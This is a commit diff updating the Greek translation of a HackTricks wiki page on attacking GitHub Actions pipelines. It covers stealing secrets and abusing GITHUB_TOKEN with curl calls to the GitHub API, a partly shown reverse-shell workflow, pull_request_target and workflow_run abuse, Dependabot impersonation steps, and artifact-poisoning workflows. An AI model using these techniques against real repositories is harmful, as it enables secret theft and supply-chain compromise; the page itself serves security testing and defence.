mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
@@ -1,29 +1,39 @@
|
||||
# Κατάχρηση των Github Actions
|
||||
# Κατάχρηση Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
Τα παρακάτω εργαλεία είναι χρήσιμα για να βρείτε ροές εργασίας Github Action και ακόμη και να βρείτε ευάλωτες:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ελέγξτε επίσης τη λίστα ελέγχου του στο [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Σε αυτή τη σελίδα θα βρείτε:
|
||||
|
||||
- Μια **σύνοψη όλων των επιπτώσεων** ενός επιτιθέμενου που καταφέρνει να αποκτήσει πρόσβαση σε μια Github Action
|
||||
- Διάφορους τρόπους για να **αποκτήσετε πρόσβαση σε μια action**:
|
||||
- Έχοντας **δικαιώματα** για τη δημιουργία της action
|
||||
- Έχοντας **δικαιώματα** για να δημιουργήσετε την action
|
||||
- Κατάχρηση **triggers** που σχετίζονται με **pull request**
|
||||
- Κατάχρηση **άλλων τεχνικών εξωτερικής πρόσβασης**
|
||||
- **Pivoting** από ένα ήδη συμβιβασμένο repo
|
||||
- Τέλος, μια ενότητα σχετικά με τις **τεχνικές μετα-εκμετάλλευσης για την κατάχρηση μιας action από μέσα** (λόγω των αναφερόμενων επιπτώσεων)
|
||||
- Τέλος, μια ενότητα σχετικά με **τεχνικές μετα-εκμετάλλευσης για να καταχραστείτε μια action από μέσα** (λόγω των αναφερόμενων επιπτώσεων)
|
||||
|
||||
## Σύνοψη Επιπτώσεων
|
||||
|
||||
Για μια εισαγωγή σχετικά με [**Github Actions ελέγξτε τις βασικές πληροφορίες**](../basic-github-information.md#github-actions).
|
||||
|
||||
Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, μπορεί να είστε σε θέση να:
|
||||
Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, μπορεί να μπορείτε να:
|
||||
|
||||
- **Κλέψετε μυστικά** που είναι τοποθετημένα στην pipeline και **καταχραστείτε τα δικαιώματα της pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως το AWS και το GCP.
|
||||
- **Συμβιβάσετε τις αναπτύξεις** και άλλα **artifacts**.
|
||||
- **Κλέψετε μυστικά** που είναι τοποθετημένα στην pipeline και **καταχραστείτε τα προνόμια της pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως AWS και GCP.
|
||||
- **Συμβιβάσετε αναπτύξεις** και άλλα **artifacts**.
|
||||
- Εάν η pipeline αναπτύσσει ή αποθηκεύει περιουσιακά στοιχεία, θα μπορούσατε να αλλάξετε το τελικό προϊόν, επιτρέποντας μια επίθεση στην αλυσίδα εφοδιασμού.
|
||||
- **Εκτελέσετε κώδικα σε προσαρμοσμένους workers** για να καταχραστείτε την υπολογιστική ισχύ και να κάνετε pivot σε άλλα συστήματα.
|
||||
- **Εκτελέσετε κώδικα σε προσαρμοσμένους workers** για να καταχραστείτε την υπολογιστική ισχύ και να μεταβείτε σε άλλα συστήματα.
|
||||
- **Επικαλύψετε τον κώδικα του repository**, ανάλογα με τα δικαιώματα που σχετίζονται με το `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
@@ -67,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
{{#tab name="Δημιουργία PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -81,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια πάνω στο αποθετήριο και την οργάνωση.
|
||||
> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα δικαιώματα πάνω στο αποθετήριο και την οργάνωση.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -111,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Απόκτηση αντίστροφης θήκης με μυστικά</summary>
|
||||
<summary>Λάβετε αντίστροφη θήκη με μυστικά</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -134,7 +144,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Είναι δυνατόν να ελέγξετε τα δικαιώματα που έχουν δοθεί σε ένα Github Token σε άλλα αποθετήρια χρηστών **ελέγχοντας τα αρχεία καταγραφής** των ενεργειών:
|
||||
Είναι δυνατόν να ελέγξετε τις άδειες που έχουν δοθεί σε ένα Github Token σε άλλα αποθετήρια χρηστών **ελέγχοντας τα αρχεία καταγραφής** των ενεργειών:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -151,7 +161,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
### Εκτέλεση από Νέο Κλάδο
|
||||
|
||||
Εάν μπορείτε να **δημιουργήσετε έναν νέο κλάδο σε ένα αποθετήριο που ήδη περιέχει μια ρυθμισμένη Github Action**, μπορείτε να **τροποποιήσετε** αυτήν, **να ανεβάσετε** το περιεχόμενο και στη συνέχεια να **εκτελέσετε αυτήν την ενέργεια από τον νέο κλάδο**. Με αυτόν τον τρόπο μπορείτε να **εξάγετε μυστικά σε επίπεδο αποθετηρίου και οργάνωσης** (αλλά πρέπει να γνωρίζετε πώς ονομάζονται).
|
||||
Εάν μπορείτε να **δημιουργήσετε ένα νέο κλάδο σε ένα αποθετήριο που ήδη περιέχει μια ρυθμισμένη Github Action**, μπορείτε να **τροποποιήσετε** αυτήν, **να ανεβάσετε** το περιεχόμενο και στη συνέχεια να **εκτελέσετε αυτήν την ενέργεια από τον νέο κλάδο**. Με αυτόν τον τρόπο μπορείτε να **εξάγετε μυστικά σε επίπεδο αποθετηρίου και οργάνωσης** (αλλά πρέπει να γνωρίζετε πώς ονομάζονται).
|
||||
|
||||
Μπορείτε να κάνετε την τροποποιημένη ενέργεια εκτελέσιμη **χειροκίνητα,** όταν **δημιουργείται ένα PR** ή όταν **ωθείται κάποιος κώδικας** (ανάλογα με το πόσο θόρυβο θέλετε να κάνετε):
|
||||
```yaml
|
||||
@@ -179,13 +189,13 @@ branches:
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Καθώς ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες πρώτης φοράς**, θα μπορούσατε να συμβάλετε **διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος** και στη συνέχεια να στείλετε **άλλα PR για να εκμεταλλευτείτε τα νέα σας προνόμια `pull_request`**.
|
||||
> Καθώς ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες πρώτης φοράς**, θα μπορούσατε να συμβάλετε **διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος** και στη συνέχεια να στείλετε **άλλα PR για να εκμεταλλευτείτε τα νέα σας δικαιώματα `pull_request`**.
|
||||
>
|
||||
> **Το δοκίμασα και δεν λειτουργεί**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και να διαγράψετε τον λογαριασμό του.~~
|
||||
> **Το δοκίμασα και δεν λειτουργεί**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και διέγραψε τον λογαριασμό του.~~
|
||||
|
||||
Επιπλέον, από προεπιλογή **αποτρέπει τις δικαιώματα εγγραφής** και **πρόσβαση σε μυστικά** στο στοχευμένο αποθετήριο όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Επιπλέον, από προεπιλογή **αποτρέπει τα δικαιώματα εγγραφής** και **την πρόσβαση σε μυστικά** στο στοχευμένο αποθετήριο όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Με την εξαίρεση του `GITHUB_TOKEN`, **τα μυστικά δεν μεταφέρονται στον εκτελεστή** όταν μια ροή εργασίας ενεργοποιείται από ένα **forked** αποθετήριο. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο ανάγνωσης** σε pull requests **από forked αποθετήρια**.
|
||||
> Με την εξαίρεση του `GITHUB_TOKEN`, **τα μυστικά δεν μεταφέρονται στον εκτελεστή** όταν μια ροή εργασίας ενεργοποιείται από ένα **forked** αποθετήριο. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο για ανάγνωση** σε pull requests **από forked αποθετήρια**.
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Github Action προκειμένου να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα είναι σε θέση να κλέψει μυστικά ή να αντικαταστήσει το αποθετήριο λόγω των αναφερόμενων περιορισμών.
|
||||
|
||||
@@ -198,10 +208,10 @@ branches:
|
||||
|
||||
Ο ενεργοποιητής ροής εργασίας **`pull_request_target`** έχει **δικαιώματα εγγραφής** στο στοχευμένο αποθετήριο και **πρόσβαση σε μυστικά** (και δεν ζητά άδεια).
|
||||
|
||||
Σημειώστε ότι ο ενεργοποιητής ροής εργασίας **`pull_request_target`** **εκτελείται στο βασικό πλαίσιο** και όχι σε αυτό που παρέχεται από το PR (για **να μην εκτελείται μη αξιόπιστος κώδικας**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**ελέγξτε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Σημειώστε ότι ο ενεργοποιητής ροής εργασίας **`pull_request_target`** **εκτελείται στο βασικό πλαίσιο** και όχι σε αυτό που παρέχεται από το PR (για **να μην εκτελούνται μη αξιόπιστοι κώδικες**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**ελέγξτε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση, ελέγξτε αυτήν την [**ανάρτηση στο blog του github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Μπορεί να φαίνεται ότι επειδή η **εκτελούμενη ροή εργασίας** είναι αυτή που ορίζεται στο **βασικό** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιείτε **`pull_request_target`**, αλλά υπάρχουν **μερικές περιπτώσεις όπου δεν είναι**.
|
||||
Μπορεί να φαίνεται ότι επειδή η **εκτελούμενη ροή εργασίας** είναι αυτή που ορίζεται στη **βάση** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιείτε **`pull_request_target`**, αλλά υπάρχουν **μερικές περιπτώσεις όπου δεν είναι**.
|
||||
|
||||
Και αυτή θα έχει **πρόσβαση σε μυστικά**.
|
||||
|
||||
@@ -217,16 +227,16 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` μπορεί να **πρόσβαση σε μυστικά και να γράψει tokens, ακόμη και αν η προηγούμενη ροή εργασίας δεν ήταν**.
|
||||
Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` είναι ικανή να **πρόσβαση σε μυστικά και να γράψει tokens, ακόμη και αν η προηγούμενη ροή εργασίας δεν ήταν**.
|
||||
|
||||
Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**βρεθούν σε αυτό το blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο συνίσταται στη ροή εργασίας που προκαλείται από το **`workflow_run`** να κατεβάσει τον κώδικα των επιτιθέμενων: `${{ github.event.pull_request.head.sha }}`\
|
||||
Το δεύτερο συνίσταται στο **να περάσει** ένα **artifact** από τον **μη αξιόπιστο** κώδικα στη ροή εργασίας **`workflow_run`** και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**.
|
||||
Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**βρεθούν σε αυτό το blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αποτελείται από τη ροή εργασίας που προκαλείται από το **`workflow_run`** και κατεβάζει τον κώδικα των επιτιθέμενων: `${{ github.event.pull_request.head.sha }}`\
|
||||
Το δεύτερο αποτελείται από το **να περάσει** ένα **artifact** από τον **μη αξιόπιστο** κώδικα στη ροή εργασίας **`workflow_run`** και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Ελέγξτε αν όταν εκτελείται από ένα pull_request ο χρησιμοποιούμενος/κατεβασμένος κώδικας είναι αυτός από την προέλευση ή από το forked PR
|
||||
TODO: Έλεγχος αν όταν εκτελείται από ένα pull_request ο χρησιμοποιούμενος/κατεβασμένος κώδικας είναι αυτός από την προέλευση ή από το forked PR
|
||||
|
||||
## Κατάχρηση Εκτέλεσης Forked
|
||||
|
||||
@@ -241,7 +251,7 @@ TODO: Ελέγξτε αν όταν εκτελείται από ένα pull_reque
|
||||
> [!CAUTION]
|
||||
> Ωστόσο, αν η **ενέργεια** έχει μια **ρητή PR checkout** που θα **πάρε τον κώδικα από το PR** (και όχι από τη βάση), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τους επιτιθέμενους. Για παράδειγμα (ελέγξτε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Παρέχεται μόνο ως παράδειγμα.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -269,14 +279,14 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Ο δυνητικά **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του `npm install` ή `npm build`** καθώς τα σενάρια κατασκευής και τα αναφερόμενα **πακέτα ελέγχονται από τον συγγραφέα του PR**.
|
||||
Ο δυνητικά **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του `npm install` ή `npm build`** καθώς τα build scripts και τα αναφερόμενα **πακέτα ελέγχονται από τον συγγραφέα του PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Ένας github dork για αναζήτηση ευάλωτων ενεργειών είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διάφοροι τρόποι για να ρυθμιστούν οι εργασίες ώστε να εκτελούνται με ασφάλεια ακόμη και αν η ενέργεια είναι ρυθμισμένη ανασφαλώς (όπως η χρήση συνθηκών σχετικά με το ποιος είναι ο ηθοποιός που δημιουργεί το PR).
|
||||
|
||||
### Εισβολές Σκηνικών <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **χρήστη** που δημιουργεί το PR. Αν η github action χρησιμοποιεί αυτά τα **δεδομένα για να εκτελέσει οτιδήποτε**, θα μπορούσε να οδηγήσει σε **εκτέλεση αυθαίρετου κώδικα:**
|
||||
Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **χρήστη** που δημιουργεί το PR. Εάν η github action χρησιμοποιεί αυτά τα **δεδομένα για να εκτελέσει οτιδήποτε**, θα μπορούσε να οδηγήσει σε **εκτέλεση αυθαίρετου κώδικα:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -286,19 +296,59 @@ gh-actions-context-script-injections.md
|
||||
|
||||
Από τα έγγραφα: Μπορείτε να κάνετε μια **μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επόμενα βήματα** σε μια εργασία ροής εργασίας ορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντας αυτό στο αρχείο περιβάλλοντος **`GITHUB_ENV`**.
|
||||
|
||||
Αν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη **μεταβλητή env**, θα μπορούσε να εισάγει μεταβλητές env που θα μπορούσαν να εκτελέσουν κώδικα στα επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**.
|
||||
Εάν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη **μεταβλητή env**, θα μπορούσε να εισάγει μεταβλητές env που θα μπορούσαν να εκτελέσουν κώδικα στα επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**.
|
||||
|
||||
Για παράδειγμα ([**αυτό**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) και [**αυτό**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή env **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι τέτοιο για να το συμβιβάσει:
|
||||
Για παράδειγμα ([**αυτό**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) και [**αυτό**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή περιβάλλοντος **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι τέτοιο για να το συμβιβάσει:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ευάλωτες Τρίτες Ενέργειες Github
|
||||
### Dependabot και άλλοι αξιόπιστοι bots
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την ανάρτηση στο blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), πολλές οργανώσεις έχουν μια Github Action που συγχωνεύει οποιοδήποτε PRR από `dependabot[bot]` όπως στο:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
auto-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Ποιο είναι ένα πρόβλημα γιατί το πεδίο `github.actor` περιέχει τον χρήστη που προκάλεσε το τελευταίο γεγονός που ενεργοποίησε τη ροή εργασίας. Και υπάρχουν αρκετοί τρόποι για να κάνει ο χρήστης `dependabot[bot]` να τροποποιήσει μια PR. Για παράδειγμα:
|
||||
|
||||
- Fork το θύμα αποθετήριο
|
||||
- Προσθέστε το κακόβουλο payload στην αντίγραφό σας
|
||||
- Ενεργοποιήστε το Dependabot στο fork σας προσθέτοντας μια παλιά εξάρτηση. Το Dependabot θα δημιουργήσει ένα branch διορθώνοντας την εξάρτηση με κακόβουλο κώδικα.
|
||||
- Ανοίξτε μια Pull Request στο θύμα αποθετήριο από αυτό το branch (η PR θα δημιουργηθεί από τον χρήστη, οπότε δεν θα συμβεί τίποτα ακόμα)
|
||||
- Στη συνέχεια, ο επιτιθέμενος επιστρέφει στην αρχική PR που άνοιξε το Dependabot στο fork του και εκτελεί `@dependabot recreate`
|
||||
- Στη συνέχεια, το Dependabot εκτελεί κάποιες ενέργειες σε αυτό το branch, που τροποποίησαν την PR στο αποθετήριο του θύματος, κάνοντάς το `dependabot[bot]` τον ηθοποιό του τελευταίου γεγονότος που ενεργοποίησε τη ροή εργασίας (και επομένως, η ροή εργασίας εκτελείται).
|
||||
|
||||
Προχωρώντας, τι θα γινόταν αν αντί να συγχωνευτεί η Github Action είχε μια εντολή εκτέλεσης όπως στην:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
just-printing-stuff:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Λοιπόν, η αρχική ανάρτηση προτείνει δύο επιλογές για να εκμεταλλευτεί αυτή τη συμπεριφορά, με τη δεύτερη να είναι:
|
||||
|
||||
- Fork το αποθετήριο του θύματος και ενεργοποίηση του Dependabot με κάποια παλιά εξάρτηση.
|
||||
- Δημιουργία ενός νέου κλάδου με τον κακόβουλο κώδικα εκτέλεσης εντολών.
|
||||
- Αλλαγή του προεπιλεγμένου κλάδου του αποθετηρίου σε αυτόν.
|
||||
- Δημιουργία ενός PR από αυτόν τον κλάδο στο αποθετήριο του θύματος.
|
||||
- Εκτέλεση του `@dependabot merge` στο PR που άνοιξε ο Dependabot στο fork του.
|
||||
- Ο Dependabot θα συγχωνεύσει τις αλλαγές του στον προεπιλεγμένο κλάδο του forked αποθετηρίου σας, ενημερώνοντας το PR στο αποθετήριο του θύματος, κάνοντάς τον τώρα τον `dependabot[bot]` τον ηθοποιό του τελευταίου γεγονότος που προκάλεσε τη ροή εργασίας και χρησιμοποιώντας ένα κακόβουλο όνομα κλάδου.
|
||||
|
||||
### Ευάλωτες Τρίτες Υπηρεσίες Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση στο blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διαφορετικές ροές εργασίας και ακόμη και αποθετήρια.
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διάφορες ροές εργασίας και ακόμη και αποθετήρια.
|
||||
|
||||
Το πρόβλημα είναι ότι αν η παράμετρος **`path`** δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που θα μπορούσαν να χρησιμοποιηθούν αργότερα ή ακόμη και να εκτελούνται στη ροή εργασίας. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συμβιβάσει άλλες ροές εργασίας που εμπιστεύονται το Artifact.
|
||||
Το πρόβλημα είναι ότι αν η παράμετρος **`path`** δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που θα μπορούσαν αργότερα να χρησιμοποιηθούν ή ακόμη και να εκτελούνται στη ροή εργασίας. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να συμβιβάσει άλλες ροές εργασίας που εμπιστεύονται το Artifact.
|
||||
|
||||
Παράδειγμα ευάλωτης ροής εργασίας:
|
||||
```yaml
|
||||
@@ -323,7 +373,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Αυτή η διαδικασία θα μπορούσε να επιτεθεί με αυτό το ροή εργασίας:
|
||||
Αυτή η διαδικασία θα μπορούσε να επιτεθεί με αυτή τη ροή εργασίας:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -344,23 +394,23 @@ path: ./script.py
|
||||
|
||||
### Hijacking Διαγραφέντος Namespace Repo
|
||||
|
||||
Εάν ένας λογαριασμός αλλάξει όνομα, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Εάν ένα αποθετήριο είχε **λιγότερους από 100 αστέρες πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **αποθετήριο με το ίδιο όνομα** όπως αυτό που διαγράφηκε.
|
||||
Αν ένας λογαριασμός αλλάξει το όνομά του, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Αν ένα αποθετήριο είχε **λιγότερους από 100 αστέρες πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **αποθετήριο με το ίδιο όνομα** όπως αυτό που διαγράφηκε.
|
||||
|
||||
> [!CAUTION]
|
||||
> Έτσι, εάν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
|
||||
> Έτσι, αν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
|
||||
|
||||
Εάν άλλα αποθετήρια χρησιμοποιούσαν **εξαρτήσεις από αυτά τα αποθετήρια του χρήστη**, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Αν άλλα αποθετήρια χρησιμοποιούσαν **εξαρτήσεις από αυτά τα αποθετήρια του χρήστη**, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέψουν να **pivot από ένα αποθετήριο σε άλλο** υποθέτοντας ότι έχουμε κάποια πρόσβαση στο πρώτο (ελέγξτε την προηγούμενη ενότητα).
|
||||
> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέψουν να **pivot από ένα αποθετήριο σε άλλο** υποθέτοντας ότι έχουμε κάποια πρόσβαση στο πρώτο (δείτε την προηγούμενη ενότητα).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Ένα cache διατηρείται μεταξύ **των εκτελέσεων workflow στην ίδια branch**. Αυτό σημαίνει ότι εάν ένας επιτιθέμενος **συμβιβάσει** ένα **πακέτο** που στη συνέχεια αποθηκεύεται στην cache και **κατεβαίνει** και εκτελείται από ένα **πιο προνομιούχο** workflow, θα είναι σε θέση να **συμβιβάσει** και αυτό το workflow.
|
||||
